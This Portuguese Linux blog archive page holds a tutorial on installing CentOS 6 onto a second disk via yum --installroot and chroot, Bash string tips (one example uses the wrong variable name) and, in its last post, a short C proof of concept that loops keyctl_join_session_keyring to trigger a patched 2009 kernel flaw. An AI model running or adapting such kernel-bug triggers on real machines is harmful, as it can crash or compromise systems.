Archive for the 'GNU/Linux' Category

Instalando CentOS 6 a partir do HD

fevereiro 4, 2012

Imagine o cenário, você tem uma instalação do CentOS no disco /dev/sda e, após adicionar um novo disco ( /dev/sdb ), deseja – seja qual for o motivo – instalar um novo CentOS nesse disco.

Fui usuário do Slackware,  sou usuário do Debian, e queria algo parecido com o DebianBootstrap, então abaixo tem algo que se assemelha a isso. Seguindo os comando você vai instalar em um segundo disco (/dev/sdb) um novo sistema CentOS, a partir de uma instalação convencional em seu primeiro disco (ficou confuso?)

Criei, para esse exemplo, 3 partições, sendo que consideremos nesse exemplo:

/dev/sdb1 -> /

/dev/sdb2 -> /boot

/dev/sdb3 -> swap

Formate usando o sistema de arquivos que preferir:

mkfs.ext4 /dev/sdb1
mkfs.ext2 /dev/sdb2

Formate a partição swap:
mkswap /dev/sdb3

Crie a estrutura de diretórios para montar e acessar o novo disco:

mkdir /centos

mount /dev/sdb1 /centos

mkdir /centos/boot

mount /dev/sdb2 /centos/boot

Iniciando a base para o rpm:

rpm –root=/centos –initdb

Agora, estamos pronto para começar a instalação do novo sistema do ínicio:

yumdownloader –destdir=/tmp centos-release

rpm –root=/centos -ivh –nodeps /tmp/centos-release-6-2.el6.centos.7.x86_64.rpm (Lembre-se, estou usando um CentOS 6 64)

yum –installroot=/centos install setup

yum –installroot=/centos install basesystem filesystem

yum –installroot=/centos install bash glibc glibc-common termcap libgcc tzdata mktemp libtermcap

yum –installroot=/centos install grep pcre libstdc++ info ncurses zlib gawk sed ethtool

yum –installroot=/centos install coreutils libselinux libacl libattr pam audit-libs cracklib-dicts cracklib libsepol mcstrans libcap chkconfig python db4 openssl readline bzip2-libs gdbm findutils krb5-libs initscripts util-linux popt udev MAKEDEV  shadow-utils keyutils-libs iproute sysfsutils SysVinit net-tools module-init-tools e2fsprogs e2fsprogs-libs glib2 mingetty device-mapper sysklogd psmisc centos-release-notes procps libsysfs iputils

yum –installroot=/centos install rpm beecrypt elfutils-libelf rpm-libs sqlite

yum –installroot=/centos install yum python-elementtree rpm-python yum-metadata-parser python-sqlite expat libxml2 python-urlgrabber m2crypto python-iniparse

yum –installroot=/centos install nano

yum –installroot=/centos install rootfiles

Mountando os devices:

mount –bind /dev /centos/dev

mount -t proc none /centos/proc

mount -t sysfs none /centos/sys

Agora, vamos acessar o novo sistema, e criar o arquivo /etc/fstab e o arquivo shadow:

chroot /centos

> pwconv

> nano /etc/fstab
> exit

O conteúdo do arquivo fstab pode ser semelhante a este:

/dev/sdb1 / ext4 defaults 1 1

/dev/sdb2 /boot ext2 defaults 1 2

/dev/sdb3 swap swap defaults 0 0

Continuando a instalação:

yum –installroot=/centos install kernel mkinitrd cpio device-mapper-multipath dmraid gzip kpartx lvm2 nash tar less device-mapper-event

yum –installroot=/centos install grub diffutils redhat-logos

yum –installroot=/centos install passwd libuser openldap cyrus-sasl-lib kbd usermode

Criando senha do usuário root:

chroot /centos
> passwd root
> exit

Agora, perceba que, apesar de eu ter instalado o grub, não vou usar o grub nesse novo sistema, vou apenas adicionar a entrada no grub no meu sistema atual, e ter assim um dualboot:

vim /boot/grub/menu.lst

title CentOS by hd
root (hd1,1)
    kernel /vmlinuz-2.6.32-220.4.1.el6.x86_64 root=/dev/sdb1 ro
   initrd /initramfs-2.6.32-220.4.1.el6.x86_64.img

Pronto, após iniciar a máquina com essa nova entrada, selecione o “CentOS by hd” e você estará no novo sistema que instalou. Observe que não configuramos a rede, você pode fazer isso após inciar o novo sistema, um exemplo de configuração pode ser visto aqui: /etc/sysconfig/network-scripts/ifcfg-lo 

Necessitei fazer uma instalação de forma rápida nesse cenário descrito neste documento. Me baseei nessa documentação do CentOS:

http://wiki.centos.org/HowTos/ManualInstall?highlight=%28manual%29%7C%28install%29

Então, quem encontrar algum erro ou uma formar de resolver melhor essa situação, por favor, comente!!! =D

Anúncios

Pam e Authlogic

junho 18, 2011

https://github.com/canweriotnow/authlogic_pam

Estou também deixando de manter o Rpam mas este projeto não estará orfão, já tem pessoas portando ele para ruby 1.9 e mantendo esse projeto para integração do Ruby com o PAM.

 

 

 

 

O Bash e algumas strings

fevereiro 8, 2011

O número de caracteres na sequência:

var=”ABCDEF”

echo ${#var}

Extraindo algumas strings:

var=”ABCDEF”

echo ${a:3:6}

Substituindo:

var=”ABCDEF”

echo ${var/B/b}

Simples assim, precisou de algo mais que o bash para manipular alguma string?

Kernel Vulnerability Script

agosto 22, 2009

Estava apagando algumas coisas em meu HD, e achei esse script em C que fiz para explorar uma falha que existia no Kernel 2.6.x na chamada keyctl_join_session_keyring().

Essa falha já foi corrigida, mas talvez seja útil para aprendizado. Assim, segue:

http://www.vupen.com/english/advisories/2009/0173

#include <stdio.h>
#include <stdlib.h>
#include <keyutils.h>
#include <linux/keyctl.h>

int
main (void)
{
long ret = 0;

while ((ret = keyctl(KEYCTL_JOIN_SESSION_

KEYRING, “name”)) != (long) -1)
printf(“>> Retorno da chave: %ld\n”, ret);

return 0;

}

Compile:

gcc -o kernel_script kernel_script.c -lkeyutils